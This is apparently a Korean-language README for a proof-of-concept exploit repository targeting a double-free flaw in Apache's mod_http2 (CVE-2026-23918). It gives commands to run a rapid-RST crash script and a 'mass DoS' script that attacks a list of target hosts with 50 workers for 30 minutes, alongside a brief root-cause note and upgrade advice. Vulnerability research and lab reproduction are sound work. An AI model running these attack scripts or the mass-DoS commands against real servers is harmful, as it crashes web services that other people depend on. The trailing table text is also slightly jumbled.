
Apache HTTP/2 double-free 취약점 PoC (CVE-2026-23918)
CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415: Double Free | CVSS 8.8 | 2.4.67에서 수정됨
mod_http2(h2_mplx.c)의 이중 해제(double-free) 취약점으로 인해 원격 공격자가 빠른 RST_STREAM 프레임을 전송하여 c1c2_stream_joined()와 m_stream_cleanup() 사이의 경쟁 조건을 유발하고 서비스 거부(워커 크래시)를 일으킬 수 있습니다.
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
결과: 서버가 ~30s–3min 내에
SIGSEGV로 크래시됩니다 — 신뢰할 수 있는 DoS가 확인되었습니다.
| 파일 | 설명 |
|---|---|
poc.py | Rapid-RST — 빠른 공격, 30초~3분 내에 서버를 크래시시킴 |
exploits/slow-drip.py | Slow Drip — 저대역폭 지속 공격 |
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
취약점은 다음과 같은 경우 발생합니다:
c1c2_stream_joined()와 m_stream_cleanup()에 의해 동시에 조인됨m->spurge에 추가함h2_purge_then_destroy()가 스트림을 두 번 파괴함 → 이중 해제 → 세그폴트
Apache 2.4.67 이상으로 업그레이드하세요.
전체 취약점 분석, 근본 원인 워크스루, 공격 기법 노트 및 복구 지침: → rhasan.com/CVE-2026-23918
⭐ 이 저장소가 유용하다면 스타를 남겨주세요!
exploits/mass-dos.py |
| Mass DoS — 다중 타깃 지속 DoS |
| Apache 2.4.67 |